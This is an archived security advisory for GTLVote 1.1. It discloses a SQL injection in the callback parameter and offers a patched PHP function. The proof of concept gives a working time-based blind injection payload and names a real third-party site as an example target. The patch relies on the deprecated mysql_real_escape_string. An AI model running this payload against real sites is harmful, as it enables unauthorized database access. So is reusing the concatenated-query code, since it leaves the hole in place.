what you don't know can hurt you

GTLVote 1.1 SQL Injection

GTLVote 1.1 SQL Injection
Posted Jul 31, 2015
Authored by Jackson at Panel Solutions

GTLVote version 1.1 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 22eae6d460d32ddc1437a9f1db2fce2b

GTLVote 1.1 SQL Injection

Change Mirror Download
################################################################################################################
[+] Exploit Title: GTLVote 1.1 SQLi Injection Vulnerability.
[+] Discovered By: Jackson (Security Engineer @ Panel Solutions)
[+] Worried about being attacked by a 0day? We secure your web applications
before an attack occurs @ Secure Hosting Solution(http://panelsec.com/)
[+] My Homepage: http://panelsec.com/
[+] Date: [2015 28 July]
[+] Vendor Homepage: GTLVote - GTLVote
[+] Tested on: [GTL 1.x.x]
#################################################################################################################


POC(Proof Of Concept):
+++++++++++++++++++++++++
1) Simply find a GLT site and go to the callback file and add
/vote/php/callback.php?callback=1' AND (SELECT * FROM
(SELECT(SLEEP(10)))bgus) AND 'jcaE'='jcaE
2) If the site takes time to load it's vulnerable because of the sleep
query
3) Same Site:http://nexusrs.ca/voting/php/callback.php?callback=1' AND
(SELECT * FROM (SELECT(SLEEP(10)))bgus) AND 'jcaE'='jcaE

Sanitizing:
+++++++++++++++++++++++++
Download a patched version here(All clients hosted with panel have already
been patched)
http://panelsec.com/vote/GTLVote1.2.zip


Hard File Edit:
+++++++++++++++++++++++++


1)
public function setSiteVoted($ip, $type)
{
$type = intval($type);
$query = "SELECT * FROM `voting_verification` WHERE `ip` = '" . $ip
. "' AND `type`='" . $type . "'";
$result = mysql_query($query);
if (mysql_num_rows($result) == 0)
{
mysql_query("INSERT INTO `voting_verification` (`ip`, `type`)
VALUES ('" . $ip . "', '" . $type . "')");
}
}

callback isn't sanitized before being passed into setSiteVoted here is how
to patch it.


2)
public function setSiteVoted($ip, $type)
{
$type = intval($type);
$ip_clean = mysql_real_escape_string($ip);
$query = "SELECT * FROM `voting_verification` WHERE `ip` = '"
. $ip_clean . "' AND `type`='" . $type . "'";
$result = mysql_query($query);
if (mysql_num_rows($result) == 0)
{
mysql_query("INSERT INTO `voting_verification` (`ip`, `type`)
VALUES ('" . $ip_clean . "', '" . $type . "')");
}
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    1 Files
  • 19
    Aug 19th
    18 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close